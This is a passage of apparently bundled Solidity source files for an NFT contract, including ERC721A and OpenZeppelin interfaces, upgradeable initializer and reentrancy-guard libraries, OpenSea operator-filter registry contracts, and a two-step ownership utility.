Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`,\n * checking first that contract recipients are aware of the ERC721 protocol\n * to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move\n * this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom}\n * whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n // =============================================================\n // IERC2309\n // =============================================================\n\n /**\n * @dev Emitted when tokens in `fromTokenId` to `toTokenId`\n * (inclusive) is transferred from `from` to `to`, as defined in the\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.\n *\n * See {_mintERC2309} for more details.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n /**\n * @notice Returns true if operator is not filtered for a given token, either by address or codeHash. Also returns\n * true if supplied registrant address is not registered.\n */\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n\n /**\n * @notice Registers an address with the registry. May be called by address itself or by EIP-173 owner.\n */\n function register(address registrant) external;\n\n /**\n * @notice Registers an address with the registry and \"subscribes\" to another address's filtered operators and codeHashes.\n */\n function registerAndSubscribe(address registrant, address subscription) external;\n\n /**\n * @notice Registers an address with the registry and copies the filtered operators and codeHashes from another\n * address without subscribing.\n */\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Unregisters an address with the registry and removes its subscription. May be called by address itself or by EIP-173 owner.\n * Note that this does not remove any filtered addresses or codeHashes.\n * Also note that any subscriptions to this registrant will still be active and follow the existing filtered addresses and codehashes.\n */\n function unregister(address addr) external;\n\n /**\n * @notice Update an operator address for a registered address - when filtered is true, the operator is filtered.\n */\n function updateOperator(address registrant, address operator, bool filtered) external;\n\n /**\n * @notice Update multiple operators for a registered address - when filtered is true, the operators will be filtered. Reverts on duplicates.\n */\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n\n /**\n * @notice Update a codeHash for a registered address - when filtered is true, the codeHash is filtered.\n */\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n\n /**\n * @notice Update multiple codeHashes for a registered address - when filtered is true, the codeHashes will be filtered. Reverts on duplicates.\n */\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n\n /**\n * @notice Subscribe an address to another registrant's filtered operators and codeHashes. Will remove previous\n * subscription if present.\n * Note that accounts with subscriptions may go on to subscribe to other accounts - in this case,\n * subscriptions will not be forwarded. Instead the former subscription's existing entries will still be\n * used.\n */\n function subscribe(address registrant, address registrantToSubscribe) external;\n\n /**\n * @notice Unsubscribe an address from its current subscribed registrant, and optionally copy its filtered operators and codeHashes.\n */\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n\n /**\n * @notice Get the subscription address of a given registrant, if any.\n */\n function subscriptionOf(address addr) external returns (address registrant);\n\n /**\n * @notice Get the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscribers(address registrant) external returns (address[] memory);\n\n /**\n * @notice Get the subscriber at a given index in the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscriberAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Copy filtered operators and codeHashes from a different registrantToCopy to addr.\n */\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Returns true if operator is filtered by a given address or its subscription.\n */\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n\n /**\n * @notice Returns true if the hash of an address's code is filtered by a given address or its subscription.\n */\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n\n /**\n * @notice Returns true if a codeHash is filtered by a given address or its subscription.\n */\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n\n /**\n * @notice Returns a list of filtered operators for a given address or its subscription.\n */\n function filteredOperators(address addr) external returns (address[] memory);\n\n /**\n * @notice Returns the set of filtered codeHashes for a given address or its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n\n /**\n * @notice Returns the filtered operator at the given index of the set of filtered operators for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Returns the filtered codeHash at the given index of the list of filtered codeHashes for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n\n /**\n * @notice Returns true if an address has registered\n */\n function isRegistered(address addr) external returns (bool);\n\n /**\n * @dev Convenience method to compute the code hash of an arbitrary contract\n */\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"lib/operator-filter-registry/src/lib/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\naddress constant CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS = 0x000000000000AAeB6D7670E522A718067333cd4E;\naddress constant CANONICAL_CORI_SUBSCRIPTION = 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;\n"
},
"lib/operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFiltererUpgradeable} from \"./OperatorFiltererUpgradeable.sol\";\nimport {CANONICAL_CORI_SUBSCRIPTION} from \"../lib/Constants.sol\";\n\n/**\n * @title DefaultOperatorFiltererUpgradeable\n * @notice Inherits from OperatorFiltererUpgradeable and automatically subscribes to the default OpenSea subscription\n * when the init function is called.\n */\nabstract contract DefaultOperatorFiltererUpgradeable is OperatorFiltererUpgradeable {\n /// @dev The upgradeable initialize function that should be called when the contract is being deployed.\n function __DefaultOperatorFilterer_init() internal onlyInitializing {\n OperatorFiltererUpgradeable.__OperatorFilterer_init(CANONICAL_CORI_SUBSCRIPTION, true);\n }\n}\n"
},
"lib/operator-filter-registry/src/upgradeable/OperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"../IOperatorFilterRegistry.sol\";\nimport {Initializable} from \"../../../../lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title OperatorFiltererUpgradeable\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry when the init function is called.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFiltererUpgradeable is Initializable {\n /// @notice Emitted when an operator is not allowed.\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n /// @dev The upgradeable initialize function that should be called when the contract is being upgraded.\n function __OperatorFilterer_init(address subscriptionOrRegistrantToCopy, bool subscribe)\n internal\n onlyInitializing\n {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isRegistered(address(this))) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n }\n\n /**\n * @dev A helper modifier to check if the operator is allowed.\n */\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n /**\n * @dev A helper modifier to check if the operator approval is allowed.\n */\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n /**\n * @dev A helper function to check if the operator is allowed.\n */\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n // under normal circumstances, this function will revert rather than return false, but inheriting or\n // upgraded contracts may specify their own OperatorFilterRegistry implementations, which may behave\n // differently\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"lib/utility-contracts/src/ConstructorInitializable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\n/**\n * @author emo.eth\n * @notice Abstract smart contract that provides an onlyUninitialized modifier which only allows calling when\n * from within a constructor of some sort, whether directly instantiating an inherting contract,\n * or when delegatecalling from a proxy\n */\nabstract contract ConstructorInitializable {\n error AlreadyInitialized();\n\n modifier onlyConstructor() {\n if (address(this).code.length != 0) {\n revert AlreadyInitialized();\n }\n _;\n }\n}\n"
},
"lib/utility-contracts/src/TwoStepOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\nimport {ConstructorInitializable} from \"./ConstructorInitializable.sol\";\n\n/**\n@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer\nOwner can cancel the transfer at any point before the new owner claims ownership.\nHelpful in guarding against transferring ownership to an address that is unable to act as the Owner.\n*/\nabstract contract TwoStepOwnable is ConstructorInitializable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address internal potentialOwner;\n\n event PotentialOwnerUpdated(address newPotentialAdministrator);\n\n error NewOwnerIsZeroAddress();\n error NotNextOwner();\n error OnlyOwner();\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n constructor() {\n _initialize();\n }\n\n function _initialize() private onlyConstructor {\n _transferOwnership(msg.sender);\n }\n\n ///@notice Initiate ownership transfer to newPotentialOwner. Note: new owner will have to manually acceptOwnership\n ///@param newPotentialOwner address of potential new owner\n function transferOwnership(address newPotentialOwner)\n public\n virtual\n onlyOwner\n {\n if (newPotentialOwner == address(0)) {\n revert NewOwnerIsZeroAddress();\n }\n potentialOwner = newPotentialOwner;\n emit PotentialOwnerUpdated(newPotentialOwner);\n }\n\n ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership\n function acceptOwnership() public virtual {\n address _potentialOwner = potentialOwner;\n if (msg.sender != _potentialOwner) {\n revert NotNextOwner();\n }\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n _transferOwnership(_potentialOwner);\n }\n\n ///@notice cancel ownership transfer\n function cancelOwnershipTransfer() public virtual onlyOwner {\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (_owner != msg.sender) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"src/clones/ERC721ACloneable.sol": {
